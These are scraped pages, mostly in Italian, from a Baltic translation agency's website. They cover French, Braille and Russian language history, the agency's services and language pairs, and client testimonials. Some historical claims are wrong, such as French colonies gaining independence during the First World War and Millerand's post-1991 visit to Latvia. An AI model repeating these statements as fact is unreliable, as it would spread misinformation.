FRANCESE È dal IX secolo che il francese scritto utilizza l'alfabeto latino. Nel tempo esso è stato modificato ed è oggi composto da 26 lettere: sei vocali(a, e, i, o, u, y) e 20 consonanti(b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Al giorno d’oggi, in francese ci sono più i fonemi che le lettere (26 lettere e 35 fonemi). Inoltre, molte lettere possono avere segni diacritici, specialmente quelle minuscole. BRAILLE Il Braille è un sistema di scrittura utilizzato per leggere da ciechi o ipovedenti ed è stato inventato nel 1821 da un francese: Luis Braille. Egli perse la vista a tre anni a causa di un incidente domestico. Poi, all'età di dieci anni, ebbe l’opportunità di studiare a Parigi presso l’Istituto nazionale per giovani ciechi, il quale era uno dei primi istituti di istruzione di questo tipo. Qui, gli studenti non vedenti dovevano imparare a leggere utilizzando un sistema inventato dal fondatore dell’istituto, ossia Valentin Haüy, che prevedeva l’uso di un filo di rame incollato tra due fogli di carta. Tuttavia, questo metodo presentava numerosi svantaggi: gli studenti non imparavano a scrivere e il fatto che un libro conteneva diversi tipi di testi lo rendeva piuttosto spesso e pesante, con un peso che poteva arrivare persino a decine di kili. L'istituto aveva solo tre libri di questo tipo. Nel 1821, l'ex capitano dell'esercito francese Charles Barbier visitò l'Istituto nazionale per giovani ciechi di Parigi. Quando Napoleone chiese se qualcuno fosse in grado di inventare un sistema di scrittura che potesse aiutare i soldati a comunicare tra loro di notte, quindi al buio e in silenzio, Barbier inventò la cosiddetta “scrittura notturna”, nella quale le lettere venivano scritte combinando 12 buchi. Quindi, quando Barbier visitò l’Istituto nazionale per giovani ciechi di Parigi, fece conoscere agli studenti la “scrittura notturna”. Nello stesso anno, ispirandosi alla “scrittura notturna”, Braille iniziò a sviluppare il proprio metodo di scrittura che portò a termine nel 1824, quando aveva solo 15 anni. La principale differenza tra i due metodi di scrittura è il fatto che egli allestì un sistema basato su sei punti invece di dodici, i quali erano divisi in tre righe con due punti a riga. Ciò rese più rapido il processo di lettura, dato che era possibile leggere una lettera con un solo tocco. Inoltre, questo sistema di scrittura era anche più facile da imparare. Un vantaggio significativo del sistema di Braille rispetto a quello di Haüy era il fatto che permetteva non solo di leggere, ma anche di scrivere. In seguito, basandosi sempre sul suo sistema di scrittura, Braille inventò anche un metodo per scrivere la matematica e le note musicali. Il primo libro in Braille fu pubblicato nel 1829 e dieci anni dopo fu pubblicato un libro dedicato al metodo e all’uso della scrittura Braille. Egli fu un insegnante noto tra i gli studenti dell’Istituto nazionale per giovani ciechi di Parigi e, due anni dopo la sua morte, la scrittura Braille fu ufficialmente riconosciuta in Francia. In seguito, nel 1878, il Braille è stato riconosciuto come il sistema di scrittura internazionale per i non vedenti. QUANTO È DIFFICILE LA LINGUA FRANCESE? Con circa 125 milioni di studenti in vari istituti di istruzione, al momento il francese è la seconda lingua più studiata al mondo. Essa è una delle poche lingue che si possono studiare in un istituto di istruzione in qualsiasi parte del mondo. Di fatti, sono 500 mila insegnanti di francese che vivono fuori dalla Francia. Secondo un recente studio svolto dalla piattaforma online per l’apprendimento delle lingue Duolingo, il francese è la seconda lingua più studiata della piattaforma. Il francese è una delle dieci lingue che il Foreign Service Institute ha giudicato come facili da imparare e la maggior parte degli studenti avrebbe bisogno di 23-24 settimane o di 600 ore di studio per impararlo. DOVE E IN QUANTI PARLANO FRANCESE? Il francese è diventato una lingua internazionale durante il Medioevo grazie alla massiccia influenza del Regno di Francia. Nel XVII secolo sostituì il latino come lingua franca degli europei istruiti e nel XVIII secolo divenne la principale lingua della diplomazia e dei servizi segreti in Europa. La maggior parte dei Paesi francofoni in origine erano colonie francesi. Di fatti, il colonialismo francese del periodo dal XVII al XIX secolo diffuse il francese in diverse regioni del mondo. Tuttavia, a causa di attività belliche, a cavallo tra il XVIII e il XIX secolo la Francia perse il controllo della maggior parte delle proprie colonie. Il secondo impero coloniale francese si formò alla fine del XIX secolo, quando la Francia prese il controllo di molte nazioni del Nord Africa, Senegal, della Costa d’avorio e del Mali. Tuttavia, durante la Prima guerra mondiale, la maggior parte delle colonie francesi ottenne l’indipendenza, continuando però ad utilizzare il francese come lingua principale. Oggi sono 29 i paesi in cui si parla francese tra Europa, Africa, Canada, Stati uniti, e Asia. Essa è inoltre la lingua ufficiale dell’Organizzazione internazionale La Francophonie, la quale è composta da quelle nazioni in cui la lingua ufficiale è il francese, in cui essa è parlata da gran parte della popolazione, o in cui il la lingua e la cultura francese ha lasciato un retaggio storico e culturale significativo. Sono 88 i paesi e i territori sparsi nei cinque continenti che fanno parte di questa organizzazione. Il francese è la lingua madre di circa 80 milioni di persone, ma è parlato da circa 300 milioni di individui in tutto il mondo. È la lingua ufficiale in Francia, Belgio, Svizzera, Monaco, Lussemburgo, Canada, Haiti, Vanuatu e in 21 Paesi africani. La maggior parte dei francofoni vive in Africa: sono circa 115 milioni di persone. Le più grandi diaspore francofone vivono in Algeria, Argentina, Australia, Cile, Nuova Zelanda, Canada, Marocco, Messico, Tunisia e Uruguay. Nelle ex colonie francesi, in seguito della conquista dell’indipendenza, il francese è utilizzato come compromesso tra le lingue locali. I NOSTRI INTERPRETI E TRADUTTORI DI FRANCESE Il team di traduttori e interpreti di Skrivanek Baltic si occupa di traduzioni standard di documenti scritti, di documentazione delle istituzioni dell’Unione europea e delle più grandi organizzazioni non statali del mondo, di complessi testi medici e tecnici, nonché di documenti certificati da un notaio. L'agenzia di traduzione Skrivanek Baltic fornisce anche servizi di correzione di bozze e di miglioramento stilistico di testi in francese, di creazione di contenuti SEO adattandoli al mercato francese o a quello della peculiare regione del Québec in Canada, nonché alla mentalità francese. I nostri linguisti vi informeranno con piacere sulle differenze culturali, su come lavorare con partner commerciali francesi e sulla storia e tradizioni francesi. I servizi di traduzione che forniamo più spesso da e verso il francese alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, di adattamento e di adeguamento di meta tag, nonché traduzione di accordi di cooperazione, di atti legali, di sentenze e di documentazione commerciale. Ci occupiamo anche di servizi di interpretazione consecutiva in occasione di incontri di lavoro o di altro tipo, di udienze giudiziarie di ogni tipologia, di conferenze internazionali di alto livello e di eventi su Zoom e su altre piattaforme online. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. IL FRANCESE NEL COMMERCIO Il francese è parlato da circa 300 milioni di persone nel mondo ed è la terza lingua più diffusa nel mondo degli affari. Inoltre, data la crescita demografica ed economica delle regioni francofone, soprattutto in Africa, nei prossimi anni questi numeri sono destinati ad aumentare. Conoscendo il francese, si può anche accedere alla cerchia dei clienti francofoni. Questa lingua è perfetta per lavorare nella diplomazia, nelle organizzazioni internazionali, nel settore bancario o nella finanza. In più, se si ha l’ambizione di sviluppare la propria attività in Nord Africa o in Africa in generale, il francese è molto importante. Di fatti, l’apprendimento del francese commerciale può apportare degli indubbi vantaggi a qualsiasi imprenditore. Per di più, la Francia rappresenta un contesto vantaggioso per il commercio: il suo sofisticato mercato finanziario e la sua forza lavoro altamente istruita l’hanno resa una zona attraente per il commercio. Essa è anche una delle nazioni più visitate al mondo e il suo impatto culturale è ampiamente riconosciuto. In aggiunta, con uno dei maggiori mercati in Europa e grazie alla sua presenza all’interno del Mercato unico europeo, questa nazione è particolarmente adatta all’imprenditoria. Parigi, la sua capitale, è un importante centro finanziario in Europa. Nonostante la maggior parte delle nazioni dell’Unione europea consideri l’inglese come principale lingua commerciale, ci si aspetta che gli imprenditori stranieri abbiano una conoscenza almeno basica del francese quando si recano in Francia. Non è che sia obbligatorio parlare questa lingua, ma rifiutarsi persino di salutare in francese può essere considerato un gesto scortese. RELAZIONI TRA LETTONIA E FRANCIA La storia delle relazioni diplomatiche tra Lettonia e Francia ha più di 100 anni. Grazie all’ex presidente francese Alexandre Millerand, la Lettonia è stata riconosciuta de jure. Inoltre, la Francia non ha mai riconosciuto l’annessione della Lettonia all’Unione sovietica. Le relazioni diplomatiche tra Lettonia e Francia sono state rinnovate nel 1991. Il presidente francese Alexandre Millerand è stato il primo leader occidentale a visitare la Lettonia dopo l'indipendenza. La cooperazione tra i due Paesi continua a svilupparsi sia a livello bilaterale che nell'ambito dell'Unione Europea e della NATO. Entrambe le nazioni hanno firmato un piano d’azione relativo al periodo 2018-2022, il quale prevede delle azioni specifiche per migliorare la cooperazione tra le due nazioni. Nel 1997 i due paesi hanno firmato un accordo di cooperazione in materia di cultura, istruzione, scienza e tecnologia. L’istituto francese in Lettonia gioca un ruolo importante nella facilitazione e nel consolidamento della cooperazione fra le due nazioni. Di fatti, sono ormai tradizione a Riga e in altre regioni della Lettonia le giornate della Francophonie. I due paesi collaborano con successo anche nel settore dell’istruzione. Infatti, in Lettonia è possibile studiare presso la Scuola francese Jules Verne di Riga. Per altro, ogni anno il governo francese assegna delle borse di studio a studenti lettoni e sono diverse migliaia coloro che studiano francese in Lettonia. La Francia è considerata un importante partner commerciale della Lettonia e l'Agenzia per gli investimenti e lo sviluppo della Lettonia opera in Francia. Un altro ambito in cui è importante la cooperazione fra i due paesi è quello della difesa. Di fatti, la Francia è stato una delle prime nazioni con cui il Ministero della difesa ha iniziato a cooperare. Allo stesso modo, negli stati baltici la Francia ha già svolto sei missioni NATO di monitoraggio dello spazio aereo. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL FRANCESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a francese; da francese a lettone; da estone a francese; da francese a estone; da lituano a francese; da francese a lituano; da russo a francese; da francese a russo; da ceco a francese; da francese a ceco; da polacco a francese; da francese a polacco; da ucraino a francese; da francese a ucraino; da inglese a francese; da francese a inglese; da francese a spagnolo; da spagnolo a francese; da tedesco a francese; da francese a tedesco; da italiano a francese; da francese a italiano; da danese a francese; da francese a danese; da norvegese a francese; da francese a norvegese; da svedese a francese; da francese a svedese; da finlandese a francese; da francese a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL FRANCESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a francese; da francese a lettone; da estone a francese; da francese a estone; da lituano a francese; da francese a lituano; da russo a francese; da francese a russo; da ceco a francese; da francese a ceco; da polacco a francese; da francese a polacco; da ucraino a francese; da francese a ucraino; da inglese a francese; da francese a inglese; da francese a spagnolo; da spagnolo a francese; da tedesco a francese; da francese a tedesco; da italiano a francese; da francese a italiano; da danese a francese; da francese a danese; da norvegese a francese; da francese a norvegese; da svedese a francese; da francese a svedese; da finlandese a francese; da francese a finlandese, ma anche altre combinazioni. --- > Non ci fermiamo alla traduzione, ma ci assicuriamo anche che i prodotti e i software localizzati funzionino bene. 👍️ - Published: 2023-12-19 - Modified: 2024-02-12 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più LOCALIZZAZIONE DI FILE AUDIO E VIDEO Servizi di registrazione di qualità in qualsiasi lingua - dopo che i nostri specialisti hanno trascritto e tradotto il vostro file, vi consegneremo un prodotto finale professionale in formato audio o video. Contattateci! LOCALIZZAZIONE DI SOFTWARE Forniamo servizi precisi ed accurati di adattamento di software ai requisiti imposti dalle rispettive nazioni. Ci occuperemo della traduzione dei vostri software o applicazioni, senza modificarne le impostazioni. Contattateci! LOCALIZZAZIONE DI CONTENUTI E SERVIZI PER L’E-LEARNING Sono sempre di più coloro che scelgono di formarsi e acquisire nuove abilità online. Vi consigliamo quindi di localizzare i vostri contenuti e servizi per l’e-learning, almeno nelle maggiori lingue del mondo o della vostra area. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta DOMANDE FREQUENTI Possiamo tradurre qualsiasi cosa in virtualmente qualsiasi formato elettronico, mantenendo sempre la formattazione del documento originale. Nel caso dei servizi di localizzazione, ci atteniamo alle istruzioni specifiche fornite dal cliente o alle impostazioni dettate dal software. Non vediamo l’ora! Skrivanek ha grande esperienza e conoscenza della traduzione e localizzazione di siti web e sistemi di gestione dei contenuti di varia natura. Garantiamo sempre un approccio professionale e troviamo la soluzione più adatta alla vostra situazione specifica, così da garantire i migliori risultati per ogni combinazione linguistica. Sì e spesso creiamo anche squadre di linguisti specializzati appositamente per i partner con cui collaboriamo. Questo significa che i servizi sono forniti sempre dagli stessi traduttori e interpreti. Siamo contenti di ricevere i vostri feedback e impieghiamo con piacere gli stessi linguisti specializzati. Anche i nostri clienti abituali si interfacciano sempre con lo stesso project manager. FORNIAMO SERVIZI LINGUISTICI PER DIVERSI SETTORI IN PIÙ DI 300 COMBINAZIONI LINGUISTICHE Lingua ceca Lingua danese Lingua estone Lingua finlandese Lingua francese Lingua tedesca Lingua greca Lingua italiana Lingua lituana Lingua norvegese Lingua polacca Lingua russa Lingua spagnola Lingua svedese Altre lingue OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni generali e specializzate, servizi di interpretazione e localizzazione con certificazione notarile. Corsi di lingua russa; - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL RUSSO È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta, come anche quelli di interpretazione (consecutiva e simultanea), localizzazione e adattamento da e verso il russo è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek Baltic forniscono sempre informazioni sul prezzo dell’ordine. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni del testo di partenza e la complessità dell’elemento grafico concorrono alla definizione del prezzo finale. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il russo? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua russa: Traduzione di documenti in russo Interpretazione simultanea in russo Validazione linguistica di traduzioni in russo Interpretazione consecutiva in russo Trascrizione in russo Grafica e composizione tipografica in russo Servizi di voice over e di sottotitolaggio in russo Servizi di selezione di staff russo Marketing multiculturale in russo Gestione di documenti in russo Servizi di deposizione in russo Servizi di data room virtuali in russo Supporto per l'e-learning in russo Cercate una servizio linguistico russo? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia ALCUNI FATTI SULLA LINGUA RUSSA Il russo è una lingua slava appartenente alla famiglia delle lingue indoeuropee. Le sue origini risalgono a prima del VII secolo a. C. , quando delle tribù, che fino a quel momento avevano parlato in protoslavo, iniziarono ad utilizzare tre suoi sottogruppi regionali: lo slavo orientale, lo slavo occidentale e lo slavo meridionale. Lo slavo orientale, o antico russo, era la lingua ufficiale della Rus' di Kiev. Tuttavia, con la sua caduta nel XIV secolo iniziò anche il declino della lingua. A giocare un ruolo importante nello sviluppo della lingua russa fu il lavoro dei santi Cirillo e Metodio, due missionari cristiani provenienti dall’Impero bizantino che arrivarono alla Rus’ di Kiev nel 988. È grazie a loro che fu creato l’alfabeto cirillico, formato sulla base dell’alfabeto glagolitico creato dai due santi. Esso è ancora oggi utilizzato come alfabeto ufficiale nelle lingue nazionali della Russia, ma anche di molti altri paesi slavi Dopo la caduta della Rus’ di Kiev e l’invasione del Khanato dell'Orda d'Oro nel XIV secolo, dallo slavo orientale si svilupparono diverse lingue, tra cui anche il russo. Nel russo si distinguono i dialetti russi settentrionali, dove la “o” non accentata è pronunciata chiaramente, quelli meridionali, dove invece la “o” non accentata viene spesso ridotta ad una “a”, e e quelli centrali, i quali sono utilizzati da Mosca a San Pietroburgo. Il russo standard deriva da quest'ultimo. L’alfabeto russo è basato su quello cirillico ed è dal 1942 che è composto da 33 lettere. In totale, le parole in russo sono circa 160. 000. Nonostante non ci siano regole grammaticali per decidere dove cade l’accento, in russo, le vocali accentate sono molto importanti. Di fatti, una diversa posizione dell’accento in parole omografe può risultare in un cambio di significato. Ivan Fyodorov (Иван Фёдоров) (1520-1583) è stato il primo tipografo ed editore russo. Egli pubblicò il primo libro in russo, "Апостол" (Apostol), nel 1564. In Russia, il primo giornale fu stampato in seguito al decreto di Pietro il Grande del 16 dicembre 1703 e il suo nome era "Ведомости" (Vedomosti). Il primo giornale russo nel territorio Lettone fu "Российское еженедельное издание в Риге" (pubblicazione settimanale russa a Riga) e fu stampato nel 1816 a Riga. Uno dei più famosi poeti e scrittori russi, Alexander Pushkin, è considerato il fondatore della letteratura russa moderna. Il russo è la lingua madre di circa 145 milioni di persone, è l'ottava lingua più parlata al mondo e la quarta per numero totale di parlanti (255-280 milioni). Oltre alla Russia, il russo è la lingua ufficiale in diverse nazioni: Bielorussia, Kazakistan e Kirghizistan. Anche in Paesi come Israele, Lettonia, Lituania, Moldavia, Ucraina la percentuale di russofoni è elevata. In Lettonia, il russo è la seconda lingua più parlata dopo il lettone. Codice lingua: ISO 639-1: ru I NOSTRI SERVIZI IN LINGUA RUSSA PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. COMBINAZIONI LINGUISTICHE: Da lettone a russo; da russo a lettone; da estone a russo; da russo a estone; da lituano a russo; da russo a lituano; da ceco a russo; da russo a ceco; da polacco a russo; da russo a polacco; da ucraino a russo; da russo a ucraino; da inglese a russo; da russo a inglese; da spagnolo a russo; da russo a spagnolo; da tedesco a russo; da russo a tedesco; da italiano a russo; da russo a italiano; da francese a russo; da russo a francese; da danese a russo; da russo a danese; da norvegese a russo; da russo a norvegese; da svedese a russo; da russo a svedese; da finlandese a russo; da russo a finlandese, ma anche altre combinazioni. I NOSTRI SERVIZI IN LINGUA RUSSA PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. COMBINAZIONI LINGUISTICHE: Da lettone a russo; da russo a lettone; da estone a russo; da russo a estone; da lituano a russo; da russo a lituano; da ceco a russo; da russo a ceco; da polacco a russo; da russo a polacco; da ucraino a russo; da russo a ucraino; da inglese a russo; da russo a inglese; da spagnolo a russo; da russo a spagnolo; da tedesco a russo; da russo a tedesco; da italiano a russo; da russo a italiano; da francese a russo; da russo a francese; da danese a russo; da russo a danese; da norvegese a russo; da russo a norvegese; da svedese a russo; da russo a svedese; da finlandese a russo; da russo a finlandese, ma anche altre combinazioni. --- > Rakstiskie, mutiskie tulkojumi un citi valodu pakalpojumi visās popuārākajās Eiropas valodu kombinācijās. Sazinieties ar mums: birojs@skrivanek.lv! - Published: 2023-12-19 - Modified: 2025-01-24 - URL: https://skrivanek.lv/?page_id=5 - Translation Priorities: Optional afrikandu aimaru akadiešu albāņu amharu angļu arābu armēņu azerbaidžāņu baltkrievu baškīru bengāļu birmiešu bišlamā bosniešu bulgāru burjatu cvanu čehu čukču dari dāņu dzongke farsi fēru franču grieķu gruzīnu gvaranu hindi holandiešu (flāmu) horvātu igauņu indonēziešu itāļu ivrits īru īslandiešu japāņu katalāņu kazahu kečvu khmeru kiņaruanda kirgīzu ķīniešu komiešu kongu korejiešu kosrājiešu kreoliešu krievu kurdu laosiešu latīņu latviešu lietuviešu maķedoniešu malagasu malajiešu maldīviešu maltiešu marathu moldāvu mongoļu nauruiešu ndebelu nepāliešu njandža (čičevapedi) norvēģu palaviešu pedi (ziemeļsotu) persiešu poļu portugāļu puštu rumāņu rundu samoāņu sanskrits serbu sesoto (dienvidsotu) singāļu slovāku slovēņu somāļu somu spāņu svahili svazu (svatu) šumeru tadžiku tagalu taju tamilu tatāru tibetiešu tigru tongu (tongiešu) turkmēņu turku ukraiņu ungāru urdu uzbeku vācu vendu vjetnamiešu volofu zviedru un citas VALODU PAKALPOJUMI, KURUS VISBIEŽĀK NODROŠINĀM MŪSU KLIENTIEM: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi; bērnu nometnes ↗; valodu kursi; u. c. NEATRADĀT VĒLAMO VALODU? NEPIECIEŠAMA KONSULTĀCIJA? Sazināties TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2020. gadā 0+ Valodas speciālistu 0 ISO sertifikāti NOZARES, KURĀS VISBIEŽĀK VEIKTI TULKOJUMI: Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Servizi di traduzione, interpretazione e altri servizi linguistici nelle più diffuse combinazioni di lingue europee. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-02-23 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional Afrikaans Accadico Albanese Amarico Arabo Armeno Aymara Azerbaigiano Baschiro Bielorusso Bengali Bislama Bosniaco Bulgaro Birmano Buriato Catalano Creolo Croato Cinese Ciukcio Ceco Danese Dari Divehi Olandese (fiammingo) Dzongkha Inglese Estone Faroese Farsi Finlandese Francese Georgiano Tedesco Greco Guarani Ebraico Hindi Ungherese Islandese Indonesiano Irlandese Italiano Giapponese Kazako Khmer Kinyarwanda Kirghiso Komi Kongo Coreano Kosrae Curdo Rundi Lao Latino Lettone Lituano Tswana Macedone Malgascio Malese Maltese Marathi Moldavo Mongolo Nauruano Ndebele Nepalese Norvegese Nyanja (Chichewa) Palauano Pedi Persiano Polacco Portoghese Pashtu Quechua Rumeno Russo Samoano Sanscrito Serbo Sesotho (Sotho) Singalese Slovacco Sloveno Spagnolo Somalo Sumero Swahili Swazi Svedese Tagalog Tagico Tamil Tataro Thailandese Tibetano Tigré Tongano Turco Turkmeno Ucraino Urdu Uzbeco Vendo Vietnamita Wolof Altre lingue I NOSTRI SERVIZI LINGUISTICI PIÙ RICHIESTI DAI CLIENTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche; etc. STATE ANCORA CERCANDO LA LINGUA GIUSTA O UNA CONSULENZA? Invia una richiesta OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO GLI AMBITI DI TRADUZIONE PIÙ POPOLARI Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e 